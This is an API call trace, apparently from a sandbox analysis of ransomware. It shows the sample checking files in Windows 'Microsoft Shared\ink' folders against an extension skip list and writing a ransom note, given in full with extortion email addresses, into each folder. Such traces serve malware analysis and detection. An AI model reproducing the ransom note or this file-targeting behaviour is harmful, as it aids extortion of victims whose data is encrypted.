	[0078.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.762] lstrlenW (lpString=".pif") returned 4
	[0078.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.762] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5b90 | out: hHeap=0x300000) returned 1
	[0078.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4850 | out: hHeap=0x300000) returned 1
	[0078.763] RtlWakeConditionVariable () returned 0x365f70
	[0078.763] GetCurrentThreadId () returned 0x9cc
	[0078.763] GetCurrentThreadId () returned 0x9cc
	[0078.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4850
	[0078.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5c38 | out: hHeap=0x300000) returned 1
	[0078.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f97b0 | out: hHeap=0x300000) returned 1
	[0078.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b5c38
	[0078.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.766] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.767] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.768] CloseHandle (hObject=0x120) returned 1
	[0078.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5c38 | out: hHeap=0x300000) returned 1
	[0078.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4850 | out: hHeap=0x300000) returned 1
	[0078.768] RtlWakeConditionVariable () returned 0x365f70
	[0078.768] GetCurrentThreadId () returned 0x9cc
	[0078.768] GetCurrentThreadId () returned 0x9cc
	[0078.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4850
	[0078.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5ce0 | out: hHeap=0x300000) returned 1
	[0078.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f97e8 | out: hHeap=0x300000) returned 1
	[0078.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b5ce0
	[0078.768] lstrlenW (lpString=".scr") returned 4
	[0078.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.768] lstrlenW (lpString=".cmd") returned 4
	[0078.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.769] lstrlenW (lpString=".dll") returned 4
	[0078.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.769] lstrlenW (lpString=".dll.mui") returned 8
	[0078.769] lstrlenW (lpString=".bat") returned 4
	[0078.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.769] lstrlenW (lpString=".cpl") returned 4
	[0078.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.769] lstrlenW (lpString=".sys") returned 4
	[0078.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.769] lstrlenW (lpString=".msc") returned 4
	[0078.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.769] lstrlenW (lpString=".com") returned 4
	[0078.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.769] lstrlenW (lpString=".lnk") returned 4
	[0078.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.769] lstrlenW (lpString=".msp") returned 4
	[0078.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.769] lstrlenW (lpString=".pif") returned 4
	[0078.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.769] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5ce0 | out: hHeap=0x300000) returned 1
	[0078.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4850 | out: hHeap=0x300000) returned 1
	[0078.770] RtlWakeConditionVariable () returned 0x365f70
	[0078.770] GetCurrentThreadId () returned 0x9cc
	[0078.770] GetCurrentThreadId () returned 0x9cc
	[0078.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4850
	[0078.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5d88 | out: hHeap=0x300000) returned 1
	[0078.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9820 | out: hHeap=0x300000) returned 1
	[0078.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b5d88
	[0078.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.770] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.770] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.772] CloseHandle (hObject=0x120) returned 1
	[0078.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5d88 | out: hHeap=0x300000) returned 1
	[0078.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4850 | out: hHeap=0x300000) returned 1
	[0078.772] RtlWakeConditionVariable () returned 0x365f70
	[0078.772] GetCurrentThreadId () returned 0x9cc
	[0078.772] GetCurrentThreadId () returned 0x9cc
	[0078.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5b18 | out: hHeap=0x300000) returned 1
	[0078.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9858 | out: hHeap=0x300000) returned 1
	[0078.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5b18
	[0078.772] lstrlenW (lpString=".scr") returned 4
	[0078.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.772] lstrlenW (lpString=".cmd") returned 4
	[0078.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.772] lstrlenW (lpString=".dll") returned 4
	[0078.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.772] lstrlenW (lpString=".dll.mui") returned 8
	[0078.772] lstrlenW (lpString=".bat") returned 4
	[0078.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.772] lstrlenW (lpString=".cpl") returned 4
	[0078.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.773] lstrlenW (lpString=".sys") returned 4
	[0078.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.773] lstrlenW (lpString=".msc") returned 4
	[0078.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.773] lstrlenW (lpString=".com") returned 4
	[0078.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.773] lstrlenW (lpString=".lnk") returned 4
	[0078.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.773] lstrlenW (lpString=".msp") returned 4
	[0078.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.773] lstrlenW (lpString=".pif") returned 4
	[0078.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.773] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.773] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5b18 | out: hHeap=0x300000) returned 1
	[0078.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0078.774] RtlWakeConditionVariable () returned 0x365f70
	[0078.774] GetCurrentThreadId () returned 0x9cc
	[0078.774] GetCurrentThreadId () returned 0x9cc
	[0078.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4850
	[0078.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5e30 | out: hHeap=0x300000) returned 1
	[0078.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9890 | out: hHeap=0x300000) returned 1
	[0078.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b5e30
	[0078.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.774] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.774] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.776] CloseHandle (hObject=0x120) returned 1
	[0078.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5e30 | out: hHeap=0x300000) returned 1
	[0078.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4850 | out: hHeap=0x300000) returned 1
	[0078.776] RtlWakeConditionVariable () returned 0x365f70
	[0078.776] GetCurrentThreadId () returned 0x9cc
	[0078.776] GetCurrentThreadId () returned 0x9cc
	[0078.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4850
	[0078.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5ed8 | out: hHeap=0x300000) returned 1
	[0078.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dff8 | out: hHeap=0x300000) returned 1
	[0078.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b5ed8
	[0078.776] lstrlenW (lpString=".scr") returned 4
	[0078.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.777] lstrlenW (lpString=".cmd") returned 4
	[0078.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.777] lstrlenW (lpString=".dll") returned 4
	[0078.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.777] lstrlenW (lpString=".dll.mui") returned 8
	[0078.777] lstrlenW (lpString=".bat") returned 4
	[0078.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.777] lstrlenW (lpString=".cpl") returned 4
	[0078.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.777] lstrlenW (lpString=".sys") returned 4
	[0078.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.777] lstrlenW (lpString=".msc") returned 4
	[0078.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.777] lstrlenW (lpString=".com") returned 4
	[0078.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.777] lstrlenW (lpString=".lnk") returned 4
	[0078.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.777] lstrlenW (lpString=".msp") returned 4
	[0078.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.777] lstrlenW (lpString=".pif") returned 4
	[0078.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.777] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.777] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5ed8 | out: hHeap=0x300000) returned 1
	[0078.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4850 | out: hHeap=0x300000) returned 1
	[0078.778] RtlWakeConditionVariable () returned 0x365f70
	[0078.778] GetCurrentThreadId () returned 0x9cc
	[0078.779] GetCurrentThreadId () returned 0x9cc
	[0078.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4850
	[0078.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5f80 | out: hHeap=0x300000) returned 1
	[0078.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f98c8 | out: hHeap=0x300000) returned 1
	[0078.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b5f80
	[0078.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.779] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.779] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.780] CloseHandle (hObject=0x120) returned 1
	[0078.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5f80 | out: hHeap=0x300000) returned 1
	[0078.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4850 | out: hHeap=0x300000) returned 1
	[0078.781] RtlWakeConditionVariable () returned 0x365f70
	[0078.781] GetCurrentThreadId () returned 0x9cc
	[0078.781] GetCurrentThreadId () returned 0x9cc
	[0078.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0870
	[0078.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1ad8 | out: hHeap=0x300000) returned 1
	[0078.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9900 | out: hHeap=0x300000) returned 1
	[0078.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1ad8
	[0078.781] lstrlenW (lpString=".scr") returned 4
	[0078.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll", lpSrch=".scr") returned 0x0
	[0078.781] lstrlenW (lpString=".cmd") returned 4
	[0078.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll", lpSrch=".cmd") returned 0x0
	[0078.781] lstrlenW (lpString=".dll") returned 4
	[0078.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll", lpSrch=".dll") returned=".dll"
	[0078.781] lstrlenW (lpString=".dll") returned 4
	[0078.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1ad8 | out: hHeap=0x300000) returned 1
	[0078.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0870 | out: hHeap=0x300000) returned 1
	[0078.781] RtlWakeConditionVariable () returned 0x365f70
	[0078.781] GetCurrentThreadId () returned 0x9cc
	[0078.781] GetCurrentThreadId () returned 0x9cc
	[0078.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0870
	[0078.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1b70 | out: hHeap=0x300000) returned 1
	[0078.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9938 | out: hHeap=0x300000) returned 1
	[0078.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1b70
	[0078.782] lstrlenW (lpString=".scr") returned 4
	[0078.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll", lpSrch=".scr") returned 0x0
	[0078.782] lstrlenW (lpString=".cmd") returned 4
	[0078.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll", lpSrch=".cmd") returned 0x0
	[0078.782] lstrlenW (lpString=".dll") returned 4
	[0078.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll", lpSrch=".dll") returned=".dll"
	[0078.782] lstrlenW (lpString=".dll") returned 4
	[0078.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1b70 | out: hHeap=0x300000) returned 1
	[0078.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0870 | out: hHeap=0x300000) returned 1
	[0078.782] RtlWakeConditionVariable () returned 0x365f70
	[0078.782] GetCurrentThreadId () returned 0x9cc
	[0078.782] GetCurrentThreadId () returned 0x9cc
	[0078.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0870
	[0078.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1c08 | out: hHeap=0x300000) returned 1
	[0078.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9970 | out: hHeap=0x300000) returned 1
	[0078.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0078.782] lstrlenW (lpString=".scr") returned 4
	[0078.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe", lpSrch=".scr") returned 0x0
	[0078.782] lstrlenW (lpString=".cmd") returned 4
	[0078.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe", lpSrch=".cmd") returned 0x0
	[0078.782] lstrlenW (lpString=".dll") returned 4
	[0078.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe", lpSrch=".dll") returned 0x0
	[0078.783] lstrlenW (lpString=".bat") returned 4
	[0078.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe", lpSrch=".bat") returned 0x0
	[0078.783] lstrlenW (lpString=".cpl") returned 4
	[0078.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe", lpSrch=".cpl") returned 0x0
	[0078.783] lstrlenW (lpString=".sys") returned 4
	[0078.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe", lpSrch=".sys") returned 0x0
	[0078.783] lstrlenW (lpString=".msc") returned 4
	[0078.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe", lpSrch=".msc") returned 0x0
	[0078.783] lstrlenW (lpString=".com") returned 4
	[0078.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe", lpSrch=".com") returned 0x0
	[0078.783] lstrlenW (lpString=".lnk") returned 4
	[0078.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe", lpSrch=".lnk") returned 0x0
	[0078.783] lstrlenW (lpString=".msp") returned 4
	[0078.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe", lpSrch=".msp") returned 0x0
	[0078.783] lstrlenW (lpString=".pif") returned 4
	[0078.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe", lpSrch=".pif") returned 0x0
	[0078.783] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe", lpSrch="msp\r\n.pif") returned 0x0
	[0078.783] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
